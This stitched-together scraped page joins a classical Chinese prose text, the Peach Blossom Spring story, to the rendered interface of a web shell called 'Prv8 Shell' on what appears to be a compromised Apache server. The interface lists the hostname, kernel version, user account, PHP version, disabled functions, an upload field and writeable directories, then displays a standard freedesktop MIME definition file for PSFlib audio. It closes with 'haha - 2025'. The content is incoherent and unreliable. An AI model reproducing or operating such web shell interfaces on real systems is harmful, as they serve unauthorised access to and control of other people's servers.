晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/audio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/audio/x-psflib.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="audio/x-psflib">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>PSFlib audio library</comment>
  <comment xml:lang="ar">مكتبة PSFlib السمعية</comment>
  <comment xml:lang="be@latin">Aŭdyjobiblijateka PSFlib</comment>
  <comment xml:lang="bg">Аудио библиотека — PSFlib</comment>
  <comment xml:lang="ca">biblioteca d'àudio PSFlib</comment>
  <comment xml:lang="cs">zvuková knihovna PSFlib</comment>
  <comment xml:lang="da">PSFlib-lydbibliotek</comment>
  <comment xml:lang="de">PSFlib-Audiobibliothek</comment>
  <comment xml:lang="el">Βιβλιοθήκη ήχου PSFlib</comment>
  <comment xml:lang="en_GB">PSFlib audio library</comment>
  <comment xml:lang="es">biblioteca de sonido PSFlib</comment>
  <comment xml:lang="eu">PSFlib audioaren liburutegia</comment>
  <comment xml:lang="fi">PSFlib-äänikirjasto</comment>
  <comment xml:lang="fo">PSFlib ljóðsavn</comment>
  <comment xml:lang="fr">bibliothèque audio PSFlib</comment>
  <comment xml:lang="ga">leabharlann fhuaime PSFlib</comment>
  <comment xml:lang="gl">Biblioteca de son PSFlib</comment>
  <comment xml:lang="he">ספריית שמע PSFlib</comment>
  <comment xml:lang="hr">PSFlib zvučna biblioteka</comment>
  <comment xml:lang="hu">PSFlib hanggyűjtemény</comment>
  <comment xml:lang="ia">Bibliotheca audio PSFlib</comment>
  <comment xml:lang="id">Pustaka audio PSFlib</comment>
  <comment xml:lang="it">Libreria audio PSFlib</comment>
  <comment xml:lang="ja">PSFlib オーディオライブラリ</comment>
  <comment xml:lang="kk">PSFlib аудио жинағы</comment>
  <comment xml:lang="ko">PSFlib 오디오 라이브러리</comment>
  <comment xml:lang="lt">PSFlib garso biblioteka</comment>
  <comment xml:lang="lv">PSFlib fonotēka</comment>
  <comment xml:lang="nb">PSFlib-lydbibliotek</comment>
  <comment xml:lang="nl">PSFlib-audiobibliotheek</comment>
  <comment xml:lang="nn">PSFlib lydbibliotek</comment>
  <comment xml:lang="oc">bibliotèca àudio PSFlib</comment>
  <comment xml:lang="pl">Biblioteka dźwiękowa PSFlib</comment>
  <comment xml:lang="pt">biblioteca áudio PSFlib</comment>
  <comment xml:lang="pt_BR">Biblioteca de áudio PSFlib</comment>
  <comment xml:lang="ro">Bibliotecă audio PSFlib</comment>
  <comment xml:lang="ru">Фонотека PSFlib</comment>
  <comment xml:lang="sk">Zvuková knižnica PSFlib</comment>
  <comment xml:lang="sl">Zvočna knjižnica PSFlib</comment>
  <comment xml:lang="sq">Librari audio PSFlib</comment>
  <comment xml:lang="sr">библиотека звука ПСФ библиотеке</comment>
  <comment xml:lang="sv">PSFlib-ljudbibliotek</comment>
  <comment xml:lang="tr">PSFlib ses kitaplığı</comment>
  <comment xml:lang="uk">аудіобібліотека PSFlib</comment>
  <comment xml:lang="vi">Thư viện âm thanh PSFlib</comment>
  <comment xml:lang="zh_CN">PSFlib 音频库</comment>
  <comment xml:lang="zh_TW">PSFlib 音訊庫</comment>
  <acronym>PSFlib</acronym>
  <expanded-acronym>Portable Sound Format Library</expanded-acronym>
  <sub-class-of type="audio/x-psf"/>
  <glob pattern="*.psflib"/>
</mime-type>

haha - 2025